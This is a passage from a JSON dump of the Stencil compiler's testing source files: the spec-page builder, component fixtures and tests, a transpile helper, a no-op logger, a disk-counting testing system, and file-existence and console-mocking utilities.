b.experimentalSlotFixes = false;\n  // TODO(STENCIL-1086): remove this option when it's the default behavior\n  b.experimentalScopedSlotChanges = false;\n}\n"
  },
  {
    "path": "src/testing/spec-page.ts",
    "content": "import { BUILD } from '@app-data';\nimport type {\n  ComponentCompilerMeta,\n  ComponentRuntimeMeta,\n  ComponentTestingConstructor,\n  HostRef,\n  LazyBundlesRuntimeData,\n  NewSpecPageOptions,\n  SpecPage,\n} from '@stencil/core/internal';\nimport {\n  bootstrapLazy,\n  flushAll,\n  flushLoadModule,\n  flushQueue,\n  getHostRef,\n  insertVdomAnnotations,\n  registerComponents,\n  registerModule,\n  renderVdom,\n  resetPlatform,\n  setSupportsShadowDom,\n  startAutoApplyChanges,\n  styles,\n  win,\n  writeTask,\n} from '@stencil/core/internal/testing';\nimport { formatLazyBundleRuntimeMeta } from '@utils';\n\nimport { getBuildFeatures } from '../compiler/app-core/app-data';\nimport { resetBuildConditionals } from './reset-build-conditionals';\n\n/**\n * Generates a random number for use in generating a bundle id\n * @returns a random number between 100000 and 999999\n */\nconst generateRandBundleId = () => Math.round(Math.random() * 899999) + 100000;\n\n/**\n * Creates a new spec page for unit testing\n * @param opts the options to apply to the spec page that influence its configuration and operation\n * @returns the created spec page\n */\nexport async function newSpecPage(opts: NewSpecPageOptions): Promise<SpecPage> {\n  if (opts == null) {\n    throw new Error(`NewSpecPageOptions required`);\n  }\n\n  // reset the platform for this new test\n  resetPlatform(opts.platform ?? {});\n  resetBuildConditionals(BUILD);\n\n  if (Array.isArray(opts.components)) {\n    registerComponents(opts.components);\n  }\n\n  if (opts.hydrateClientSide) {\n    opts.includeAnnotations = true;\n  }\n  if (opts.hydrateServerSide) {\n    opts.includeAnnotations = true;\n    setSupportsShadowDom(false);\n  } else {\n    opts.includeAnnotations = !!opts.includeAnnotations;\n    if (opts.supportsShadowDom === false) {\n      setSupportsShadowDom(false);\n    } else {\n      setSupportsShadowDom(true);\n    }\n  }\n  BUILD.cssAnnotations = opts.includeAnnotations;\n\n  const cmpTags = new Set<string>();\n\n  (win as any)['__stencil_spec_options'] = opts;\n  const doc = win.document;\n\n  const page: SpecPage = {\n    win: win,\n    doc: doc,\n    body: doc.body as any,\n    build: BUILD,\n    styles: styles as Map<string, string>,\n    setContent: (html) => {\n      doc.body.innerHTML = html;\n      return flushAll();\n    },\n    waitForChanges: flushAll,\n    flushLoadModule: flushLoadModule,\n    flushQueue: flushQueue,\n  };\n\n  const lazyBundles: LazyBundlesRuntimeData = opts.components.map((Cstr: ComponentTestingConstructor) => {\n    /**\n     * just pass through functional components that don't have styles nor any other metadata\n     */\n    if (Cstr.COMPILER_META == null) {\n      /**\n       * the bundleId can be arbitrary, but must be unique\n       */\n      const arbitraryBundleId = `fc.${generateRandBundleId()}`;\n      return formatLazyBundleRuntimeMeta(arbitraryBundleId, []);\n    }\n\n    cmpTags.add(Cstr.COMPILER_META.tagName);\n    Cstr.isProxied = false;\n\n    proxyComponentLifeCycles(Cstr);\n\n    const bundleId = `${Cstr.COMPILER_META.tagName}.${generateRandBundleId()}`;\n    const stylesMeta = Cstr.COMPILER_META.styles;\n    if (Array.isArray(stylesMeta)) {\n      if (stylesMeta.length > 1) {\n        const styles: any = {};\n        stylesMeta.forEach((style) => {\n          styles[style.modeName] = style.styleStr;\n        });\n        Cstr.style = styles;\n      } else if (stylesMeta.length === 1) {\n        Cstr.style = stylesMeta[0].styleStr;\n      }\n    }\n    registerModule(bundleId, Cstr);\n\n    const lazyBundleRuntimeMeta = formatLazyBundleRuntimeMeta(bundleId, [Cstr.COMPILER_META]);\n    return lazyBundleRuntimeMeta;\n  });\n\n  const cmpCompilerMeta = opts.components\n    .filter((Cstr) => Cstr.COMPILER_META != null)\n    .map((Cstr) => Cstr.COMPILER_META as ComponentCompilerMeta);\n  const cmpBuild = getBuildFeatures(cmpCompilerMeta);\n  if (opts.strictBuild) {\n    Object.assign(BUILD, cmpBuild);\n  } else {\n    Object.keys(cmpBuild).forEach((key) => {\n      if ((cmpBuild as any)[key] === true) {\n        (BUILD as any)[key] = true;\n      }\n    });\n  }\n  BUILD.asyncLoading = true;\n  if (opts.hydrateClientSide) {\n    BUILD.hydrateClientSide = true;\n    BUILD.hydrateServerSide = false;\n  } else if (opts.hydrateServerSide) {\n    BUILD.hydrateServerSide = true;\n    BUILD.hydrateClientSide = false;\n  }\n  BUILD.cloneNodeFix = false;\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  BUILD.shadowDomShim = false;\n  BUILD.attachStyles = !!opts.attachStyles;\n\n  if (typeof opts.url === 'string') {\n    page.win.location.href = opts.url;\n  }\n\n  if (typeof opts.direction === 'string') {\n    page.doc.documentElement.setAttribute('dir', opts.direction);\n  }\n\n  if (typeof opts.language === 'string') {\n    page.doc.documentElement.setAttribute('lang', opts.language);\n  }\n\n  if (typeof opts.cookie === 'string') {\n    try {\n      page.doc.cookie = opts.cookie;\n    } catch (e) {}\n  }\n\n  if (typeof opts.referrer === 'string') {\n    try {\n      (page.doc as any).referrer = opts.referrer;\n    } catch (e) {}\n  }\n\n  if (typeof opts.userAgent === 'string') {\n    try {\n      (page.win.navigator as any).userAgent = opts.userAgent;\n    } catch (e) {}\n  }\n\n  bootstrapLazy(lazyBundles);\n\n  if (typeof opts.template === 'function') {\n    const cmpMeta: ComponentRuntimeMeta = {\n      $flags$: 0,\n      $tagName$: 'body',\n    };\n    const ref: HostRef = {\n      $ancestorComponent$: undefined,\n      $flags$: 0,\n      $modeName$: undefined,\n      $cmpMeta$: cmpMeta,\n      $hostElement$: page.body,\n    };\n    renderVdom(ref, opts.template());\n  } else if (typeof opts.html === 'string') {\n    page.body.innerHTML = opts.html;\n  }\n\n  if (opts.flushQueue !== false) {\n    await page.waitForChanges();\n  }\n\n  let rootComponent: any = null;\n  Object.defineProperty(page, 'root', {\n    get() {\n      if (rootComponent == null) {\n        rootComponent = findRootComponent(cmpTags, page.body);\n      }\n      if (rootComponent != null) {\n        return rootComponent;\n      }\n      const firstElementChild = page.body.firstElementChild;\n      if (firstElementChild != null) {\n        return firstElementChild as any;\n      }\n      return null;\n    },\n  });\n\n  Object.defineProperty(page, 'rootInstance', {\n    get() {\n      const hostRef = getHostRef(page.root);\n      if (hostRef != null) {\n        return hostRef.$lazyInstance$;\n      }\n      return null;\n    },\n  });\n\n  if (opts.hydrateServerSide) {\n    insertVdomAnnotations(doc, []);\n  }\n\n  if (opts.autoApplyChanges) {\n    startAutoApplyChanges();\n    page.waitForChanges = () => {\n      console.error('waitForChanges() cannot be used manually if the \"startAutoApplyChanges\" option is enabled');\n      return Promise.resolve();\n    };\n  }\n  return page;\n}\n\n/**\n * A helper method that proxies Stencil lifecycle methods by mutating the provided component class\n * @param Cstr the component class whose lifecycle methods will be proxied\n */\nfunction proxyComponentLifeCycles(Cstr: ComponentTestingConstructor): void {\n  // we may have called this function on the class before, reset the state of the class\n  if (typeof Cstr.prototype?.__componentWillLoad === 'function') {\n    Cstr.prototype.componentWillLoad = Cstr.prototype.__componentWillLoad;\n    Cstr.prototype.__componentWillLoad = null;\n  }\n  if (typeof Cstr.prototype?.__componentWillUpdate === 'function') {\n    Cstr.prototype.componentWillUpdate = Cstr.prototype.__componentWillUpdate;\n    Cstr.prototype.__componentWillUpdate = null;\n  }\n  if (typeof Cstr.prototype?.__componentWillRender === 'function') {\n    Cstr.prototype.componentWillRender = Cstr.prototype.__componentWillRender;\n    Cstr.prototype.__componentWillRender = null;\n  }\n\n  // the class should be in a known 'good' state to proxy functions\n  if (typeof Cstr.prototype?.componentWillLoad === 'function') {\n    Cstr.prototype.__componentWillLoad = Cstr.prototype.componentWillLoad;\n    Cstr.prototype.componentWillLoad = function () {\n      const result = this.__componentWillLoad();\n      if (result != null && typeof result.then === 'function') {\n        writeTask(() => result);\n      } else {\n        writeTask(() => Promise.resolve());\n      }\n      return result;\n    };\n  }\n\n  if (typeof Cstr.prototype?.componentWillUpdate === 'function') {\n    Cstr.prototype.__componentWillUpdate = Cstr.prototype.componentWillUpdate;\n    Cstr.prototype.componentWillUpdate = function () {\n      const result = this.__componentWillUpdate();\n      if (result != null && typeof result.then === 'function') {\n        writeTask(() => result);\n      } else {\n        writeTask(() => Promise.resolve());\n      }\n      return result;\n    };\n  }\n\n  if (typeof Cstr.prototype?.componentWillRender === 'function') {\n    Cstr.prototype.__componentWillRender = Cstr.prototype.componentWillRender;\n    Cstr.prototype.componentWillRender = function () {\n      const result = this.__componentWillRender();\n      if (result != null && typeof result.then === 'function') {\n        writeTask(() => result);\n      } else {\n        writeTask(() => Promise.resolve());\n      }\n      return result;\n    };\n  }\n}\n\n/**\n * Return the first Element whose {@link Element#nodeName} property matches a tag found in the provided `cmpTags`\n * argument.\n *\n * If the `nodeName` property on the element matches any of the names found in the provided `cmpTags` argument, that\n * element is returned. If no match is found on the current element, the children will be inspected in a depth-first\n * search manner. This process continues until either:\n * - an element is found (and execution ends)\n * - no element is found after an exhaustive search\n *\n * @param cmpTags component tag names to use in the match criteria\n * @param node the node whose children are to be inspected\n * @returns An element whose name matches one of the strings in the provided `cmpTags`. If no match is found, `null` is\n * returned\n */\nfunction findRootComponent(cmpTags: Set<string>, node: Element): Element | null {\n  if (node != null) {\n    const children = node.children;\n    const childrenLength = children.length;\n\n    for (let i = 0; i < childrenLength; i++) {\n      const elm = children[i];\n      if (cmpTags.has(elm.nodeName.toLowerCase())) {\n        return elm;\n      }\n    }\n\n    for (let i = 0; i < childrenLength; i++) {\n      const r = findRootComponent(cmpTags, children[i]);\n      if (r != null) {\n        return r;\n      }\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "src/testing/test/__fixtures__/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'class-component',\n  shadow: true,\n})\nexport class ClassComponent {\n  render() {\n    return (\n      <div>\n        <h1>I am a class component</h1>\n        <slot></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "src/testing/test/functional.spec.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { newSpecPage, SpecPage } from '@stencil/core/testing';\n\nimport { ClassComponent } from './__fixtures__/cmp';\n\ndescribe('testing function and class components', () => {\n  it('can render a single functional component', async () => {\n    const MyFunctionalComponent = () => <div>Hello World</div>;\n    const page: SpecPage = await newSpecPage({\n      components: [MyFunctionalComponent],\n      template: () => <MyFunctionalComponent></MyFunctionalComponent>,\n    });\n    expect(page.root).toEqualHtml(`<div>Hello World</div>`);\n  });\n\n  it('can render a single functional component with props', async () => {\n    const MyFunctionalComponent = (props: { foo: 'bar' }) => <div>{props.foo}</div>;\n    const page: SpecPage = await newSpecPage({\n      components: [MyFunctionalComponent],\n      template: () => <MyFunctionalComponent foo=\"bar\"></MyFunctionalComponent>,\n    });\n    expect(page.root).toEqualHtml(`<div>bar</div>`);\n  });\n\n  it('can render a single functional component with children', async () => {\n    const MyFunctionalComponent: Fragment = (props: never, children: Fragment) => <div>{children}</div>;\n    const page: SpecPage = await newSpecPage({\n      components: [MyFunctionalComponent],\n      template: () => <MyFunctionalComponent>Hello World</MyFunctionalComponent>,\n    });\n    expect(page.root).toEqualHtml(`<div>Hello World</div>`);\n  });\n\n  it('can render a single functional component with children and props', async () => {\n    const MyFunctionalComponent = (props: { foo: 'bar' }, children: Fragment) => (\n      <div>\n        {children} - {props.foo}\n      </div>\n    );\n    const page: SpecPage = await newSpecPage({\n      components: [MyFunctionalComponent],\n      template: () => <MyFunctionalComponent foo=\"bar\">Hello World</MyFunctionalComponent>,\n    });\n    expect(page.root).toEqualHtml(`<div>Hello World - bar</div>`);\n  });\n\n  it('can render a class component with a functional component', async () => {\n    const MyFunctionalComponent = (props: never, children: Fragment) => (\n      <div>I am a functional component - {children}</div>\n    );\n    const page: SpecPage = await newSpecPage({\n      components: [ClassComponent],\n      template: () => (\n        <class-component>\n          <MyFunctionalComponent>Yes I am!</MyFunctionalComponent>\n        </class-component>\n      ),\n    });\n    expect(page.root).toEqualHtml(`<class-component>\n  <mock:shadow-root>\n    <div>\n      <h1>\n        I am a class component\n      </h1>\n      <slot></slot>\n    </div>\n  </mock:shadow-root>\n  <div>\n    I am a functional component - Yes I am!\n  </div>\n</class-component>\n`);\n  });\n\n  it('can render a functional component within a class component', async () => {\n    const MyFunctionalComponent = (props: never, children: Fragment) => (\n      <div>\n        <h1>I am a functional component</h1>\n        {children}\n      </div>\n    );\n    const page: SpecPage = await newSpecPage({\n      components: [ClassComponent],\n      template: () => (\n        <MyFunctionalComponent>\n          <class-component>Yes I am!</class-component>\n        </MyFunctionalComponent>\n      ),\n    });\n    expect(page.body).toEqualHtml(`<div>\n    <h1>\n      I am a functional component\n    </h1>\n    <class-component>\n      <mock:shadow-root>\n        <div>\n          <h1>\n            I am a class component\n          </h1>\n          <slot></slot>\n        </div>\n      </mock:shadow-root>\n      Yes I am!\n    </class-component>\n  </div>`);\n  });\n});\n"
  },
  {
    "path": "src/testing/test/testing-utils.spec.ts",
    "content": "import path from 'path';\n\nimport { createInMemoryFs, InMemoryFileSystem } from '../../compiler/sys/in-memory-fs';\nimport { createTestingSystem } from '../testing-sys';\nimport { expectFilesDoNotExist, expectFilesExist } from '../testing-utils';\n\ndescribe('testing-utils', () => {\n  const MOCK_FILE_PATH = path.join('mock', 'file', 'path', 'to', 'file.ts');\n  const MOCK_FILE_CONTENTS = \"console.log('hello world!');\";\n\n  describe('expectFilesExist', () => {\n    let fs: InMemoryFileSystem;\n\n    beforeEach(() => {\n      const sys = createTestingSystem();\n      fs = createInMemoryFs(sys);\n    });\n\n    it('does not throw when no file paths are provided', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      expect(() => expectFilesExist(fs, [])).not.toThrow();\n    });\n\n    it('does not throw when a provided file path is found', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      expect(() => expectFilesExist(fs, [MOCK_FILE_PATH])).not.toThrow();\n    });\n\n    it('does not throw when the provided file paths are found', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      const anotherFilePath = path.join('another', 'mock', 'file', 'path', 'to', 'some-file.ts');\n      await fs.writeFile(anotherFilePath, \"console.log('hello world, again!');\");\n\n      expect(() => expectFilesExist(fs, [MOCK_FILE_PATH, anotherFilePath])).not.toThrow();\n    });\n\n    it('throws an error when an expected file cannot be found', () => {\n      const expectedErrorMessage = `The following files were expected, but could not be found:\n-${MOCK_FILE_PATH}`;\n\n      expect(() => expectFilesExist(fs, [MOCK_FILE_PATH])).toThrow(expectedErrorMessage);\n    });\n\n    it('throws an error when multiple files cannot be found', () => {\n      const anotherFilePath = path.join('another', 'mock', 'file', 'path', 'to', 'some-file.ts');\n\n      const expectedErrorMessage = `The following files were expected, but could not be found:\n-${MOCK_FILE_PATH}\n-${anotherFilePath}`;\n\n      expect(() => expectFilesExist(fs, [MOCK_FILE_PATH, anotherFilePath])).toThrow(expectedErrorMessage);\n    });\n  });\n\n  describe('expectFilesDoNotExist', () => {\n    let fs: InMemoryFileSystem;\n\n    beforeEach(() => {\n      const sys = createTestingSystem();\n      fs = createInMemoryFs(sys);\n    });\n\n    it('does not throw when no file paths are provided', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      expect(() => expectFilesDoNotExist(fs, [])).not.toThrow();\n    });\n\n    it('does not throw when a provided file path is not found on the file system', () => {\n      expect(() => expectFilesDoNotExist(fs, [MOCK_FILE_PATH])).not.toThrow();\n    });\n\n    it('does not throw when the provided file paths are not found on the file system', () => {\n      expect(() => expectFilesDoNotExist(fs, [MOCK_FILE_PATH, 'mock/file/path/to/nowhere.ts'])).not.toThrow();\n    });\n\n    it('throws an error when a file is found on the file system', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      const expectedErrorMessage = `The following files were expected to not exist, but do:\n-${MOCK_FILE_PATH}`;\n\n      expect(() => expectFilesDoNotExist(fs, [MOCK_FILE_PATH])).toThrow(expectedErrorMessage);\n    });\n\n    it('throws an error when multiple files are found on the file system', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n      const anotherFilePath = path.join('another', 'mock', 'file', 'path', 'to', 'some-file.ts');\n      await fs.writeFile(anotherFilePath, MOCK_FILE_CONTENTS);\n\n      const expectedErrorMessage = `The following files were expected to not exist, but do:\n-${MOCK_FILE_PATH}\n-${anotherFilePath}`;\n\n      expect(() => expectFilesDoNotExist(fs, [MOCK_FILE_PATH, anotherFilePath])).toThrow(expectedErrorMessage);\n    });\n\n    it('throws an error only for file paths provided as an argument', async () => {\n      await fs.writeFile(MOCK_FILE_PATH, MOCK_FILE_CONTENTS);\n\n      // write this file to the filesystem, but don't check for it\n      const anotherFilePath = path.join('another', 'mock', 'file', 'path', 'to', 'some-file.ts');\n      await fs.writeFile(anotherFilePath, MOCK_FILE_CONTENTS);\n\n      const expectedErrorMessage = `The following files were expected to not exist, but do:\n-${MOCK_FILE_PATH}`;\n\n      expect(() => expectFilesDoNotExist(fs, [MOCK_FILE_PATH])).toThrow(expectedErrorMessage);\n    });\n  });\n});\n"
  },
  {
    "path": "src/testing/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../testing/tsconfig.internal.json\",\n  \"compilerOptions\": {\n    \"paths\": {\n      \"@stencil/core\": [\"../../index.ts\"],\n      \"@stencil/core/testing\": [\"../../testing/index.ts\"],\n      \"@platform\": [\"../../client/index.ts\"]\n    }\n  },\n  \"include\": [\"**/*.ts\", \"**/*.tsx\"],\n}\n"
  },
  {
    "path": "src/testing/test-transpile.ts",
    "content": "import { transpileSync } from '@stencil/core/compiler';\nimport type { TranspileOptions, TranspileResults } from '@stencil/core/internal';\nimport { isString } from '@utils';\n\nexport function transpile(input: string, opts: TranspileOptions = {}): TranspileResults {\n  opts = {\n    ...opts,\n    componentExport: null,\n    componentMetadata: 'compilerstatic',\n    coreImportPath: isString(opts.coreImportPath) ? opts.coreImportPath : '@stencil/core/internal/testing',\n    currentDirectory: opts.currentDirectory || process.cwd(),\n    module: 'cjs', // always use commonjs since we're in a node environment\n    proxy: null,\n    sourceMap: 'inline',\n    style: null,\n    styleImportData: 'queryparams',\n    target: 'es2015', // default to es2015\n    transformAliasedImportPaths: parseStencilTranspilePaths(process.env.__STENCIL_TRANSPILE_PATHS__),\n  };\n\n  try {\n    const v = process.versions.node.split('.');\n    if (parseInt(v[0], 10) >= 10) {\n      // let's go with ES2017 for node 10 and above\n      opts.target = 'es2017';\n    }\n  } catch (e) {}\n\n  return transpileSync(input, opts);\n}\n\n/**\n * Turn a value which we assert can be 'true' or 'false' to a boolean.\n *\n * @param stencilTranspilePaths a value to 'parse'\n * @returns a boolean\n */\nfunction parseStencilTranspilePaths(stencilTranspilePaths: string | undefined): boolean {\n  return stencilTranspilePaths === 'true' ? true : false;\n}\n"
  },
  {
    "path": "src/testing/testing-logger.ts",
    "content": "import type { Diagnostic, Logger, LoggerTimeSpan, LogLevel } from '@stencil/core/internal';\n\nexport class TestingLogger implements Logger {\n  private isEnabled = false;\n\n  enable() {\n    this.isEnabled = true;\n  }\n\n  setLevel(_level: LogLevel) {}\n  getLevel(): LogLevel {\n    return 'info';\n  }\n  enableColors(_useColors: boolean) {}\n  emoji(_: string) {\n    return '';\n  }\n  info(...msg: any[]) {\n    if (this.isEnabled) {\n      console.log(...msg);\n    }\n  }\n  warn(...msg: any[]) {\n    if (this.isEnabled) {\n      console.warn(...msg);\n    }\n  }\n  error(...msg: any[]) {\n    if (this.isEnabled) {\n      console.error(...msg);\n    }\n  }\n  debug(...msg: any[]) {\n    if (this.isEnabled) {\n      console.log(...msg);\n    }\n  }\n  color(_msg: string, _color: 'red' | 'green' | 'yellow' | 'blue' | 'magenta' | 'cyan' | 'gray') {}\n  red(msg: string) {\n    return msg;\n  }\n  green(msg: string) {\n    return msg;\n  }\n  yellow(msg: string) {\n    return msg;\n  }\n  blue(msg: string) {\n    return msg;\n  }\n  magenta(msg: string) {\n    return msg;\n  }\n  cyan(msg: string) {\n    return msg;\n  }\n  gray(msg: string) {\n    return msg;\n  }\n  bold(msg: string) {\n    return msg;\n  }\n  dim(msg: string) {\n    return msg;\n  }\n  bgRed(msg: string) {\n    return msg;\n  }\n  createTimeSpan(_startMsg: string, _debug = false): LoggerTimeSpan {\n    return {\n      duration() {\n        return 0;\n      },\n      finish() {\n        return 0;\n      },\n    };\n  }\n  printDiagnostics(_diagnostics: Diagnostic[]) {}\n}\n"
  },
  {
    "path": "src/testing/testing-sys.ts",
    "content": "import type { CompilerSystem } from '@stencil/core/internal';\nimport { createHash } from 'crypto';\nimport path from 'path';\n\nimport { createSystem } from '../compiler/sys/stencil-sys';\n\nexport interface TestingSystem extends CompilerSystem {\n  diskReads: number;\n  diskWrites: number;\n}\n\nfunction isTestingSystem(sys: CompilerSystem): sys is TestingSystem {\n  return 'diskReads' in sys && 'diskWrites' in sys;\n}\n\nexport const createTestingSystem = (): TestingSystem => {\n  let diskReads = 0;\n  let diskWrites = 0;\n  const sys = createSystem();\n\n  sys.platformPath = path;\n\n  sys.generateContentHash = (content, length) => {\n    let hash = createHash('sha1').update(content).digest('hex').toLowerCase();\n\n    if (typeof length === 'number') {\n      hash = hash.slice(0, length);\n    }\n    return Promise.resolve(hash);\n  };\n\n  const wrapRead = (fn: any) => {\n    const orgFn = fn;\n    return (...args: any[]) => {\n      diskReads++;\n      return orgFn.apply(orgFn, args);\n    };\n  };\n\n  const wrapWrite = (fn: any) => {\n    const orgFn = fn;\n    return (...args: any[]) => {\n      diskWrites++;\n      return orgFn.apply(orgFn, args);\n    };\n  };\n\n  sys.access = wrapRead(sys.access);\n  sys.accessSync = wrapRead(sys.accessSync);\n  sys.homeDir = wrapRead(sys.homeDir);\n  sys.readFile = wrapRead(sys.readFile);\n  sys.readFileSync = wrapRead(sys.readFileSync);\n  sys.readDir = wrapRead(sys.readDir);\n  sys.readDirSync = wrapRead(sys.readDirSync);\n  sys.stat = wrapRead(sys.stat);\n  sys.statSync = wrapRead(sys.statSync);\n\n  sys.copyFile = wrapWrite(sys.copyFile);\n  sys.createDir = wrapWrite(sys.createDir);\n  sys.createDirSync = wrapWrite(sys.createDirSync);\n  sys.removeFile = wrapWrite(sys.removeFile);\n  sys.removeFileSync = wrapWrite(sys.removeFileSync);\n  sys.writeFile = wrapWrite(sys.writeFile);\n  sys.writeFileSync = wrapWrite(sys.writeFileSync);\n\n  sys.getCompilerExecutingPath = () => 'bin/stencil.js';\n\n  Object.defineProperties(sys, {\n    diskReads: {\n      get() {\n        return diskReads;\n      },\n      set(val: number) {\n        diskReads = val;\n      },\n    },\n    diskWrites: {\n      get() {\n        return diskWrites;\n      },\n      set(val: number) {\n        diskWrites = val;\n      },\n    },\n  });\n\n  if (!isTestingSystem(sys)) {\n    throw new Error('could not generate TestingSystem');\n  }\n\n  return sys;\n};\n"
  },
  {
    "path": "src/testing/testing-utils.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { isOutputTargetDistLazy, isOutputTargetWww, isString } from '@utils';\nimport { join, relative } from 'path';\n\nimport { InMemoryFileSystem } from '../compiler/sys/in-memory-fs';\n\nexport function shuffleArray(array: any[]) {\n  // http://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array\n  let currentIndex = array.length;\n  let temporaryValue: any;\n  let randomIndex: number;\n\n  // While there remain elements to shuffle...\n  while (0 !== currentIndex) {\n    // Pick a remaining element...\n    randomIndex = Math.floor(Math.random() * currentIndex);\n    currentIndex -= 1;\n\n    // And swap it with the current element.\n    temporaryValue = array[currentIndex];\n    array[currentIndex] = array[randomIndex];\n    array[randomIndex] = temporaryValue;\n  }\n\n  return array;\n}\n\n/**\n * Testing utility to validate the existence of some provided file paths using a specific file system\n *\n * @param fs the file system to use to validate the existence of some files\n * @param filePaths the paths to validate\n * @throws when one or more of the provided file paths cannot be found\n */\nexport function expectFilesExist(fs: InMemoryFileSystem, filePaths: string[]): void {\n  const notFoundFiles: ReadonlyArray<string> = filePaths.filter((filePath: string) => !fs.statSync(filePath).exists);\n\n  if (notFoundFiles.length > 0) {\n    throw new Error(\n      `The following files were expected, but could not be found:\\n${notFoundFiles\n        .map((result: string) => '-' + result)\n        .join('\\n')}`,\n    );\n  }\n}\n\n/**\n * Testing utility to validate the non-existence of some provided file paths using a specific file system\n *\n * @param fs the file system to use to validate the non-existence of some files\n * @param filePaths the paths to validate\n * @throws when one or more of the provided file paths is found\n */\nexport function expectFilesDoNotExist(fs: InMemoryFileSystem, filePaths: string[]): void {\n  const existentFiles: ReadonlyArray<string> = filePaths.filter((filePath: string) => fs.statSync(filePath).exists);\n\n  if (existentFiles.length > 0) {\n    throw new Error(\n      `The following files were expected to not exist, but do:\\n${existentFiles\n        .map((result: string) => '-' + result)\n        .join('\\n')}`,\n    );\n  }\n}\n\nexport function getAppScriptUrl(config: d.ValidatedConfig, browserUrl: string) {\n  const appFileName = `${config.fsNamespace}.esm.js`;\n  return getAppUrl(config, browserUrl, appFileName);\n}\n\nexport function getAppStyleUrl(config: d.ValidatedConfig, browserUrl: string) {\n  if (config.globalStyle) {\n    const appFileName = `${config.fsNamespace}.css`;\n    return getAppUrl(config, browserUrl, appFileName);\n  }\n  return null;\n}\n\nfunction getAppUrl(config: d.ValidatedConfig, browserUrl: string, appFileName: string) {\n  const wwwOutput = config.outputTargets.find(isOutputTargetWww);\n  if (wwwOutput && isString(wwwOutput.buildDir) && isString(wwwOutput.dir)) {\n    const appBuildDir = wwwOutput.buildDir;\n    const appFilePath = join(appBuildDir, appFileName);\n    const appUrlPath = relative(wwwOutput.dir, appFilePath);\n    const url = new URL(appUrlPath, browserUrl);\n    return url.href;\n  }\n\n  const distOutput = config.outputTargets.find(isOutputTargetDistLazy);\n  if (distOutput && isString(distOutput.esmDir)) {\n    const appBuildDir = distOutput.esmDir;\n    const appFilePath = join(appBuildDir, appFileName);\n    const appUrlPath = relative(config.rootDir, appFilePath);\n    const url = new URL(appUrlPath, browserUrl);\n    return url.href;\n  }\n\n  return browserUrl;\n}\n\n/**\n * Utility for silencing `console` functions in tests.\n *\n * When this function is first called it grabs a reference to the `log`,\n * `error`, and `warn` functions on `console` and then returns a per-test setup\n * function which sets up a fresh set of mocks (via `jest.fn()`) and then\n * assigns them to each of these functions. This setup function will return a\n * reference to each of the three mock functions so tests can make assertions\n * about their calls and so on.\n *\n * Because references to the original `.log`, `.error`, and `.warn` functions\n * exist in closure within the function, it can use an `afterAll` call to clean\n * up after itself and ensure that the original implementations are restored\n * after the test suite finishes.\n *\n * An example of using this to silence log statements in a single test could look\n * like this:\n *\n * ```ts\n * describe(\"my-test-suite\", () => {\n *   const { setupConsoleMocks, teardownConsoleMocks } = setupConsoleMocker()\n *\n *   it(\"should log a message\", () => {\n *     const { logMock } = setupConsoleMocks();\n *     myFunctionWhichLogs(foo, bar);\n *     expect(logMock).toBeCalledWith('my log message');\n *     teardownConsoleMocks();\n *   })\n * })\n * ```\n *\n * @returns a per-test mock setup function\n */\nexport function setupConsoleMocker(): ConsoleMocker {\n  const originalLog = console.log;\n  const originalWarn = console.warn;\n  const originalError = console.error;\n\n  /**\n   * Function to tear down console mocks where you're done with them! Ideally\n   * this would be called right after the assertion you're looking to make in\n   * your test.\n   */\n  function teardownConsoleMocks() {\n    console.log = originalLog;\n    console.warn = originalWarn;\n    console.error = originalError;\n  }\n\n  // this is insurance!\n  afterAll(() => {\n    teardownConsoleMocks();\n  });\n\n  function setupConsoleMocks() {\n    const logMock = jest.fn();\n    const warnMock = jest.fn();\n    const errorMock = jest.fn();\n\n    console.log = logMock;\n    console.warn = warnMock;\n    console.error = errorMock;\n\n    return {\n      logMock,\n      warnMock,\n      errorMock,\n    };\n  }\n  return { setupConsoleMocks, teardownConsoleMocks };\n}\n\ninterface ConsoleMocker {\n  setupConsoleMocks: () => {\n    logMock: jest.Mock<typeof console.log>;\n    warnMock: jest.Mock<typeof console.warn>;\n    errorMock: jest.Mock<typeof console.error>;\n  };\n  teardownConsoleMocks: () => void;\n}\n\n/**\n * the callback that `withSilentWarn` expects to receive. Basically receives a mock\n * as its argument and returns a `Promise`, the value of which is returned by `withSilentWarn`\n * as well.\n */\ntype SilentWarnFunc<T> = (mock: jest.Mock<typeof console.warn>) => Promise<T>;\n\n/**\n * Wrap a single callback with a silent `console.warn`. The callback passed in\n * receives the mocking function as an argument, so you can easily make assertions\n * that it is called if necessary.\n *\n * @param cb a callback which `withSilentWarn` will call after replacing `console.warn`\n * with a mock.\n * @returns a Promise wrapping the return value of the callback\n */\nexport async function withSilentWarn<T>(cb: SilentWarnFunc<T>): Promise<T> {\n  const realWarn = console.warn;\n  const warnMock = jest.fn();\n  console.warn = warnMock;\n  const retVal = await cb(warnMock);\n  console.warn = realWarn;\n  return retVal;\n}\n"
  },
  {
    "path": "src/testing/testing.ts",
